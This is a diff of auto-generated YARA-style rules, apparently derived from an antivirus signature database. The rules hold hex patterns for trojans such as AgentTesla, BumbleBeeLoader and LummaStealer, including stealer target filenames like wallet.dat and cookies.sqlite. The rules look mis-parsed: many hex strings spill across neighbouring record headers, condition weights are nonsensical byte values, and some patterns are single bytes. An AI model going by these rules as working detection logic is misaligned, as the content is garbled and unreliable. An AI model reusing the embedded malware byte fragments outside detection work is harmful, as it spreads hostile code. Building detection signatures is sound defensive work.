"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 42 65 65 4c 6f 61 64 65 72 2e 4e 49 45 21 4d 54 42 00 02 00 1e 01 48 f7 e9 48 89 d0 48 c1 e8 3f 48 c1 fa 1a 48 01 c2 48 89 54 24 28 48 8d 54 24 28 48 89 f1 01 00 17 01 0f } //16675 + $a_0f_1 = {2a cb f2 0f 59 c8 f2 0f 11 4c 24 28 f2 0f 10 44 24 28 01 00 16 01 85 c0 0f 49 c8 81 e1 00 ff ff ff f7 d9 41 01 cc 41 ff c4 4d 63 f4 01 00 1d 01 49 89 c6 45 31 ff 45 31 ed 0f 1f 44 00 00 4e 8d 24 3c 49 83 c4 20 44 89 f8 99 41 f7 fe 00 00 78 ab 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 42 61 74 63 68 44 72 6f 00 01 00 2e 01 3c 4d 6f 64 75 6c 65 3e 7b 33 44 42 43 37 43 37 43 2d 41 33 41 30 2d 34 44 45 35 2d 42 34 37 38 2d 41 39 30 39 43 30 45 45 33 45 44 31 7d 01 00 24 01 35 66 36 33 38 39 32 36 2d 30 32 62 30 2d 34 31 32 63 2d 62 36 62 32 2d 34 34 34 34 33 34 31 64 62 61 39 65 01 00 12 01 4f 50 6f 35 6f 46 6f 6f 53 48 49 30 44 78 4b 48 4f 77 01 00 08 01 53 74 75 62 2e 65 78 65 01 00 0e 01 4a 00 58 00 } //-13993 + $a_00_2 = {65 00 61 00 74 00 00 00 78 ab 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 46 61 6b 65 53 65 63 53 65 6e 55 6e 69 6e 73 74 61 6c 6c 00 01 00 09 00 25 73 25 73 25 73 25 73 00 01 00 0a 00 41 6e 74 69 56 69 72 75 73 00 05 00 29 03 6a 00 6a 02 6a 00 68 90 01 04 6a 00 90 01 01 68 01 00 00 80 ff 15 90 01 04 68 90 01 04 8b 90 01 01 24 90 01 02 ff } //71 + condition: + ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*-13993+(#a_00_2 & 1)*71) >=5 + +} +rule _InfrastructureShared_12674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -131685,7 +140463,7 @@ rule _InfrastructureShared_11894{ ((#a_6c_0 & 1)*16675+(#a_6f_1 & 1)*20225+(#a_73_4 & 1)*29477) >=5 } -rule _InfrastructureShared_11895{ +rule _InfrastructureShared_12675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -131698,7 +140476,7 @@ rule _InfrastructureShared_11895{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*257+(#a_83_3 & 1)*6656+(#a_00_4 & 1)*400) >=5 } -rule _InfrastructureShared_11896{ +rule _InfrastructureShared_12676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -131712,7 +140490,7 @@ rule _InfrastructureShared_11896{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26478+(#a_63_2 & 1)*30063+(#a_20_3 & 1)*25964+(#a_32_4 & 1)*20298) >=5 } -rule _InfrastructureShared_11897{ +rule _InfrastructureShared_12677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -131726,7 +140504,7 @@ rule _InfrastructureShared_11897{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24942+(#a_4d_2 & 1)*13106+(#a_64_3 & 1)*25966+(#a_64_4 & 1)*385) >=5 } -rule _InfrastructureShared_11898{ +rule _InfrastructureShared_12678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -131734,26 +140512,52 @@ rule _InfrastructureShared_11898{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 4f 31 32 33 21 4d 54 42 00 01 00 0a 81 01 6e 6f 6e 69 6f 6e 69 7a 65 64 01 00 1e 81 01 73 70 61 67 68 65 74 74 69 65 72 6e 65 20 64 65 61 63 6f 6e 65 73 73 20 73 70 6f 6c 65 6e 01 00 0a 81 01 } //18467 $a_69_1 = {6c 65 78 65 64 01 00 1e 81 01 75 64 68 75 67 6e 69 6e 67 65 72 20 66 6c 79 67 74 6e 69 6e 67 65 68 6a 6c 70 65 6e 65 73 01 00 18 81 01 75 72 74 65 20 69 6e 63 6f 6e 76 65 72 73 61 6e 74 20 67 75 6e 6e 61 72 00 00 78 ab 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 50 31 32 } //25971 $a_54_2 = {00 01 00 23 81 01 63 6f 69 6e 74 65 72 73 65 63 74 69 6e 67 20 73 69 6b 6b 65 72 68 65 64 73 61 73 70 65 6b 74 65 72 6e 65 01 00 08 81 01 75 6e 73 74 6f 6e 65 64 01 00 13 81 01 70 61 6b 73 6b 6b 65 6e 73 20 68 75 6d 6f 72 73 6f 6d } //8499 - $a_62_4 = {74 72 65 72 20 68 61 6e 75 6d 61 6e 73 20 75 64 6c 61 61 6e 73 6c 6f 66 74 73 01 00 0c 81 01 62 65 72 6f 6c 69 67 65 6c 73 65 6e 00 00 78 ab 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 54 65 73 6c 61 2e 52 50 31 32 2d 31 30 68 73 78 6c 73 6d 30 21 45 4d 4c 00 01 00 25 01 24 33 33 64 61 38 34 30 61 2d 37 31 33 33 } //24833 + $a_62_4 = {74 72 65 72 20 68 61 6e 75 6d 61 6e 73 20 75 64 6c 61 61 6e 73 6c 6f 66 74 73 01 00 0c 81 01 62 65 72 6f 6c 69 67 65 6c 73 65 6e 00 00 78 ab 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 45 30 31 21 4d 54 42 00 01 00 15 81 01 65 6b 73 70 61 6e 64 65 72 65 20 65 78 65 63 75 74 61 6e 63 79 01 } //24833 condition: ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25971+(#a_54_2 & 1)*8499+(#a_62_4 & 1)*24833) >=5 } -rule _InfrastructureShared_11899{ +rule _InfrastructureShared_12679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 50 31 32 33 21 4d 54 42 00 01 00 23 81 01 63 6f 69 6e 74 65 72 73 65 63 74 69 6e 67 20 73 69 6b 6b 65 72 68 65 64 73 61 73 70 65 6b 74 65 72 6e 65 01 00 08 81 01 75 6e 73 74 6f 6e 65 64 01 00 } //18467 $a_70_1 = {6b } //-32493 k - $a_65_2 = {73 20 68 75 6d 6f 72 73 6f 6d 65 01 00 1e 81 01 61 72 62 69 74 72 65 72 20 68 61 6e 75 6d 61 6e 73 20 75 64 6c 61 61 6e 73 6c 6f 66 74 73 01 00 0c 81 01 62 65 72 6f 6c 69 67 65 6c 73 65 6e 00 00 78 ab 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 54 65 73 6c 61 2e 52 50 31 32 2d 31 30 68 73 78 } //27507 - $a_30_3 = {45 4d 4c 00 01 00 25 01 24 33 33 64 61 38 34 30 61 2d 37 31 33 33 2d 34 66 35 61 2d 39 37 34 39 2d 63 30 62 35 62 35 39 32 38 38 36 37 01 00 26 01 4d 61 68 6a 6f 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 07 01 66 41 53 6d 51 35 5f 01 00 06 01 41 53 6d 51 35 5f 01 } //29548 - $a_53_4 = {65 } //1280 e + $a_65_2 = {73 20 68 75 6d 6f 72 73 6f 6d 65 01 00 1e 81 01 61 72 62 69 74 72 65 72 20 68 61 6e 75 6d 61 6e 73 20 75 64 6c 61 61 6e 73 6c 6f 66 74 73 01 00 0c 81 01 62 65 72 6f 6c 69 67 65 6c 73 65 6e 00 00 78 ab 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 45 30 31 21 4d 54 42 00 } //27507 + $a_81_3 = {65 6b 73 70 61 6e 64 65 72 65 20 65 78 65 63 75 74 61 6e 63 79 } //1 ekspandere executancy + $a_81_4 = {64 69 61 67 6f 6e 61 6c 65 72 6e 65 73 20 66 69 73 6b 65 6f 6c 69 65 72 } //1 diagonalernes fiskeolier condition: - ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*-32493+(#a_65_2 & 1)*27507+(#a_30_3 & 1)*29548+(#a_53_4 & 1)*1280) >=5 + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*-32493+(#a_65_2 & 1)*27507+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_11900{ +rule _InfrastructureShared_12680{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 45 30 31 21 4d 54 42 00 01 00 15 81 01 65 6b 73 70 61 6e 64 65 72 65 20 65 78 65 63 75 74 61 6e 63 79 01 00 18 81 01 64 69 61 67 6f 6e 61 6c 65 72 6e 65 73 20 66 69 73 6b 65 6f 6c 69 65 72 01 00 } //18467 + $a_66_1 = {72 } //-32488 r + $a_6f_2 = {69 74 6f 72 20 73 74 76 6c 65 73 6b 61 66 74 73 01 00 1a 81 01 70 6f 6c 6b 61 69 6e 67 20 74 65 72 72 6f 72 67 72 75 70 70 65 72 2e 65 78 65 01 00 0b 81 01 66 75 6e 6b 74 69 6f 6e 65 72 73 00 00 78 ab 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 41 48 42 21 4d 54 42 00 } //25974 + $a_01_3 = {29 c8 89 44 24 1c 8b 54 24 4c 29 ca 89 54 24 2c f7 da c1 fa 1f 21 d1 8b 54 24 44 01 d1 89 4c 24 3c 8b 54 24 14 89 54 24 20 } //2 + $a_01_4 = {8b 44 24 0c 89 44 24 38 8b 4c 24 20 8b 49 10 8b 54 24 30 89 14 24 89 44 24 04 8b 54 24 1c 89 54 24 08 89 54 24 0c 8b 5c 24 3c 89 5c 24 10 89 54 24 14 8b 5c 24 2c 89 5c 24 18 ff d1 } //3 + condition: + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*-32488+(#a_6f_2 & 1)*25974+(#a_01_3 & 1)*2+(#a_01_4 & 1)*3) >=5 + +} +rule _InfrastructureShared_12681{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 41 48 42 21 4d 54 42 00 02 00 29 01 29 c8 89 44 24 1c 8b 54 24 4c 29 ca 89 54 24 2c f7 da c1 fa 1f 21 d1 8b 54 24 44 01 d1 89 4c 24 3c 8b 54 24 14 } //21539 + $a_20_1 = {00 3c 01 8b 44 24 0c 89 44 24 38 8b 4c 24 20 8b 49 10 8b 54 24 30 89 14 24 89 44 24 04 8b 54 24 1c 89 54 24 } //21641 + $a_24_2 = {8b 5c 24 3c 89 5c 24 10 89 54 24 14 8b 5c 24 2c 89 5c 24 18 ff d1 01 00 10 01 41 65 73 45 6e 63 72 79 70 74 65 64 2e 74 78 74 00 00 78 ab 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 54 65 73 6c 61 2e 52 50 31 32 2d 31 30 68 } //-30456 + condition: + ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*21641+(#a_24_2 & 1)*-30456) >=6 + +} +rule _InfrastructureShared_12682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -131768,7 +140572,7 @@ rule _InfrastructureShared_11900{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*28522+(#a_4a_2 & 1)*16686+(#a_65_3 & 1)*385+(#a_69_4 & 1)*14958+(#a_6c_5 & 1)*29797) >=6 } -rule _InfrastructureShared_11901{ +rule _InfrastructureShared_12683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -131783,7 +140587,7 @@ rule _InfrastructureShared_11901{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*-32496+(#a_6f_2 & 1)*30789+(#a_72_3 & 1)*-32489+(#a_6b_4 & 1)*29295+(#a_70_5 & 1)*25957) >=6 } -rule _InfrastructureShared_11902{ +rule _InfrastructureShared_12684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -131798,7 +140602,7 @@ rule _InfrastructureShared_11902{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25697+(#a_00_2 & 1)*30789+(#a_2e_3 & 1)*18804+(#a_70_4 & 1)*28718+(#a_65_5 & 1)*26223) >=6 } -rule _InfrastructureShared_11903{ +rule _InfrastructureShared_12685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -131811,7 +140615,7 @@ rule _InfrastructureShared_11903{ ((#a_41_0 & 1)*20515+(#a_52_1 & 1)*22356+(#a_00_4 & 1)*6+(#a_6c_5 & 1)*14913) >=6 } -rule _InfrastructureShared_11904{ +rule _InfrastructureShared_12686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -131826,7 +140630,7 @@ rule _InfrastructureShared_11904{ ((#a_41_0 & 1)*20515+(#a_4f_1 & 1)*25970+(#a_33_2 & 1)*26967+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_ab_5 & 1)*0) >=6 } -rule _InfrastructureShared_11905{ +rule _InfrastructureShared_12687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -131838,7 +140642,7 @@ rule _InfrastructureShared_11905{ ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*2905+(#a_75_3 & 1)*384) >=7 } -rule _InfrastructureShared_11906{ +rule _InfrastructureShared_12688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -131854,7 +140658,7 @@ rule _InfrastructureShared_11906{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25976+(#a_65_2 & 1)*384+(#a_ab_3 & 1)*0+(#a_73_4 & 1)*25970+(#a_72_5 & 1)*25958+(#a_52_6 & 1)*21320) >=7 } -rule _InfrastructureShared_11907{ +rule _InfrastructureShared_12689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -131870,7 +140674,7 @@ rule _InfrastructureShared_11907{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*385+(#a_6f_2 & 1)*25697+(#a_69_3 & 1)*25701+(#a_74_4 & 1)*16741+(#a_f2_5 & 1)*4542+(#a_6a_6 & 1)*27136) >=7 } -rule _InfrastructureShared_11908{ +rule _InfrastructureShared_12690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -131886,7 +140690,7 @@ rule _InfrastructureShared_11908{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*24436+(#a_69_2 & 1)*14957+(#a_c1_3 & 1)*-947+(#a_04_4 & 1)*-28440+(#a_01_5 & 1)*-24120+(#a_2f_6 & 1)*28788) >=7 } -rule _InfrastructureShared_11909{ +rule _InfrastructureShared_12691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -131898,7 +140702,7 @@ rule _InfrastructureShared_11909{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28430+(#a_45_2 & 1)*2117) >=10 } -rule _InfrastructureShared_11910{ +rule _InfrastructureShared_12692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -131910,7 +140714,7 @@ rule _InfrastructureShared_11910{ ((#a_54_0 & 1)*18467+(#a_68_2 & 1)*25939+(#a_61_3 & 1)*28530) >=11 } -rule _InfrastructureShared_11911{ +rule _InfrastructureShared_12693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -131924,7 +140728,7 @@ rule _InfrastructureShared_11911{ ((#a_4c_0 & 1)*21539+(#a_6e_2 & 1)*22273+(#a_33_3 & 1)*26967+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=11 } -rule _InfrastructureShared_11912{ +rule _InfrastructureShared_12694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -131943,7 +140747,7 @@ rule _InfrastructureShared_11912{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*25720+(#a_43_3 & 1)*19713+(#a_35_4 & 1)*12595+(#a_6f_5 & 1)*21562+(#a_65_6 & 1)*31060+(#a_30_7 & 1)*12900+(#a_00_8 & 1)*101+(#a_70_9 & 1)*400+(#a_00_10 & 1)*9732) >=11 } -rule _InfrastructureShared_11913{ +rule _InfrastructureShared_12695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -131957,7 +140761,7 @@ rule _InfrastructureShared_11913{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*25139+(#a_36_2 & 1)*13366+(#a_00_3 & 1)*120+(#a_49_4 & 1)*19770) >=14 } -rule _InfrastructureShared_11914{ +rule _InfrastructureShared_12696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -131969,7 +140773,7 @@ rule _InfrastructureShared_11914{ ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*385+(#a_00_4 & 1)*16) >=14 } -rule _InfrastructureShared_11915{ +rule _InfrastructureShared_12697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -131981,7 +140785,7 @@ rule _InfrastructureShared_11915{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*104+(#a_67_2 & 1)*12108) >=16 } -rule _InfrastructureShared_11916{ +rule _InfrastructureShared_12698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -131993,7 +140797,7 @@ rule _InfrastructureShared_11916{ ((#a_54_0 & 1)*18467+(#a_6d_2 & 1)*21761+(#a_00_3 & 1)*21581) >=16 } -rule _InfrastructureShared_11917{ +rule _InfrastructureShared_12699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -132008,7 +140812,7 @@ rule _InfrastructureShared_11917{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*17152+(#a_00_4 & 1)*109+(#a_54_5 & 1)*28783+(#a_04_6 & 1)*-28531+(#a_01_7 & 1)*10262) >=17 } -rule _InfrastructureShared_11918{ +rule _InfrastructureShared_12700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 09 00 21 " @@ -132018,14 +140822,14 @@ rule _InfrastructureShared_11918{ $a_42_3 = {0a 00 29 02 9a 0b 19 8d 90 01 04 25 16 28 90 01 04 a2 25 17 28 90 01 04 a2 25 18 72 90 01 03 70 a2 0c 07 08 28 90 01 04 26 06 2a 90 00 02 00 14 80 01 42 75 69 6c 64 65 72 49 6e 73 74 61 6e 74 69 61 74 69 6f 6e 02 00 12 80 01 52 65 61 64 4f 6e 6c 79 44 } //19745 $a_69_4 = {6e 61 72 79 02 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 02 00 08 80 01 47 65 74 50 69 78 65 6c 00 00 78 ab 00 00 15 00 15 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 41 31 37 30 32 32 32 21 4d 54 42 00 0a 00 3b 03 70 07 08 1b 5b 18 58 93 28 90 02 04 60 0d 20 ff 00 00 00 09 1f } //25449 $a_5d_5 = {1e 59 1f 1f 5f 63 5f 0d 06 09 d2 6f 90 02 04 00 00 08 1e 58 0c 08 02 6f 90 02 04 } //2063 - $a_04_6 = {90 00 0a 00 26 01 2e 49 4f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 01 00 0a 00 46 00 6f 00 72 00 6d 00 31 00 00 00 78 ab 00 00 15 00 15 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 53 70 69 6b 65 2e 41 21 64 68 61 00 0a 00 21 01 3c 64 6f 67 66 6f 72 6d 61 74 20 66 6f 72 6d 61 74 3d 22 73 65 73 73 69 6f 6e 69 6e 66 6f 22 2f 3e 0a 00 1d 01 3c 64 6f 67 66 6f 72 6d 61 74 20 66 6f 72 6d 61 74 3d 22 6b 65 79 69 6e 66 6f 22 2f 3e 01 00 25 01 5c 53 75 70 65 72 44 4f 47 62 61 6b 32 5c 53 75 70 65 72 44 6f 67 43 6c 69 65 6e 74 2d 62 61 6b 32 30 32 31 5c 01 00 0b 01 5c 44 4f 47 44 6c 67 2e 63 70 70 00 00 78 ac 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f } //23067 - $a_3a_7 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 44 21 4d 54 42 00 01 00 7b 03 00 00 0a 5d 13 06 09 08 6f 90 01 01 00 00 0a 5b 13 07 08 72 90 01 04 18 18 8d 90 01 01 00 00 01 25 16 11 06 8c 90 01 01 00 00 01 a2 25 17 11 07 8c 90 01 01 00 00 01 a2 28 90 01 01 00 00 0a a5 90 01 01 00 00 01 13 08 12 08 28 90 01 01 00 00 0a 13 09 } //24938 - $a_6f_8 = {01 01 00 00 0a 90 02 01 09 } //4359 + $a_04_6 = {90 00 0a 00 26 01 2e 49 4f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 01 00 0a 00 46 00 6f 00 72 00 6d 00 31 00 00 00 78 ab 00 00 15 00 15 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 53 70 69 6b 65 2e 41 21 64 68 61 00 0a 00 21 01 3c 64 6f 67 66 6f 72 6d 61 74 20 66 6f 72 6d 61 74 3d 22 73 65 73 73 69 6f 6e 69 6e 66 6f 22 2f 3e 0a 00 1d 01 3c 64 6f 67 66 6f 72 6d 61 74 20 66 6f 72 6d 61 74 3d 22 6b 65 79 69 6e 66 6f 22 2f 3e 01 00 25 01 5c 53 75 70 65 72 44 4f 47 62 61 6b 32 5c 53 75 70 65 72 44 6f 67 43 6c 69 65 6e 74 2d 62 61 6b 32 30 32 31 5c 01 00 0b 01 5c 44 4f 47 44 6c 67 2e 63 70 70 00 00 78 ab 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 54 72 6f } //23067 + $a_3a_7 = {69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 46 21 4d 54 42 00 0f 00 35 03 8d 48 ff 0f af c8 f6 c1 01 0f 94 c0 83 fa 09 0f 9f c3 30 c3 b8 dd 24 48 28 bb 43 d7 a2 b2 75 90 01 01 b8 43 d7 a2 b2 83 fa 09 0f 4e c3 f6 c1 01 0f 44 c3 90 00 0a 00 2f 03 41 56 56 57 53 48 83 ec 28 8b 90 01 0b 8d 58 ff 0f af d8 f6 c3 01 0f 94 44 24 26 83 fa 0a 0f } //24938 + $a_27_8 = {89 ce b8 00 4d 67 92 48 8d 90 00 05 00 13 01 8d 58 ff 0f af d8 ba 32 94 ee 5d b8 32 94 ee 5d f6 c3 01 00 00 } //17564 condition: - ((#a_54_0 & 1)*18467+(#a_70_2 & 1)*17153+(#a_42_3 & 1)*19745+(#a_69_4 & 1)*25449+(#a_5d_5 & 1)*2063+(#a_04_6 & 1)*23067+(#a_3a_7 & 1)*24938+(#a_6f_8 & 1)*4359) >=17 + ((#a_54_0 & 1)*18467+(#a_70_2 & 1)*17153+(#a_42_3 & 1)*19745+(#a_69_4 & 1)*25449+(#a_5d_5 & 1)*2063+(#a_04_6 & 1)*23067+(#a_3a_7 & 1)*24938+(#a_27_8 & 1)*17564) >=17 } -rule _InfrastructureShared_11919{ +rule _InfrastructureShared_12701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -132039,7 +140843,7 @@ rule _InfrastructureShared_11919{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*30018+(#a_6c_2 & 1)*25940+(#a_5f_3 & 1)*24415+(#a_2f_4 & 1)*28518) >=18 } -rule _InfrastructureShared_11920{ +rule _InfrastructureShared_12702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 21 " @@ -132051,20 +140855,48 @@ rule _InfrastructureShared_11920{ ((#a_54_0 & 1)*18467+(#a_1e_1 & 1)*0+(#a_90_2 & 1)*-422) >=21 } -rule _InfrastructureShared_11921{ +rule _InfrastructureShared_12703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 04 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 53 70 69 6b 65 2e 41 21 64 68 61 00 0a 00 21 01 3c 64 6f 67 66 6f 72 6d 61 74 20 66 6f 72 6d 61 74 3d 22 73 65 73 73 69 6f 6e 69 6e 66 6f 22 2f 3e 0a 00 1d 01 3c 64 6f 67 } //16675 - $a_6d_1 = {74 20 66 6f 72 6d 61 74 3d 22 6b 65 79 69 6e 66 6f 22 2f 3e 01 00 25 01 5c 53 75 70 65 72 44 4f 47 62 61 6b 32 5c 53 75 70 65 72 44 6f 67 43 6c 69 65 6e 74 2d 62 61 6b 32 30 32 31 5c 01 00 0b 01 5c 44 4f 47 44 6c 67 2e 63 70 70 00 00 78 ac 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 } //28518 - $a_52_2 = {44 21 4d 54 42 00 01 00 7b 03 00 00 0a 5d 13 06 09 08 6f 90 01 01 00 00 0a 5b 13 07 08 72 90 01 04 18 18 8d 90 01 01 00 00 01 25 16 11 06 } //24940 - $a_01_3 = {00 } //-28532 + $a_6d_1 = {74 20 66 6f 72 6d 61 74 3d 22 6b 65 79 69 6e 66 6f 22 2f 3e 01 00 25 01 5c 53 75 70 65 72 44 4f 47 62 61 6b 32 5c 53 75 70 65 72 44 6f 67 43 6c 69 65 6e 74 2d 62 61 6b 32 30 32 31 5c 01 00 0b 01 5c 44 4f 47 44 6c 67 2e 63 70 70 00 00 78 ab 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d } //28518 + $a_54_2 = {00 0f 00 35 03 8d 48 ff 0f af c8 f6 c1 01 0f 94 c0 83 fa 09 0f 9f c3 30 c3 b8 dd 24 48 28 bb 43 d7 a2 b2 75 90 01 01 b8 43 d7 a2 b2 83 fa 09 0f 4e c3 f6 c1 01 0f 44 c3 90 00 0a 00 2f 03 41 56 56 57 53 48 83 ec 28 8b 90 01 0b 8d 58 } //8518 + $a_d8_3 = {c3 01 0f 94 44 24 26 83 fa 0a 0f 9c 44 24 27 48 89 ce b8 00 4d 67 92 48 8d 90 00 05 00 13 01 8d 58 ff 0f af d8 ba 32 94 ee 5d b8 32 94 ee 5d f6 c3 01 00 00 78 ab 00 00 ca 00 ca 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 4f 21 4d 54 42 00 64 00 0a 81 01 77 61 6c 6c 65 74 2e 64 61 74 64 00 0b 81 01 6c 6f 67 69 6e 73 2e 6a 73 6f 6e 64 00 0e 81 01 63 6f 6f 6b 69 65 73 2e 73 71 6c 69 74 65 64 00 0d 81 01 50 61 73 73 77 6f 72 64 73 2e 74 78 74 64 00 0a 81 01 53 } //4095 condition: - ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28518+(#a_52_2 & 1)*24940+(#a_01_3 & 1)*-28532) >=21 + 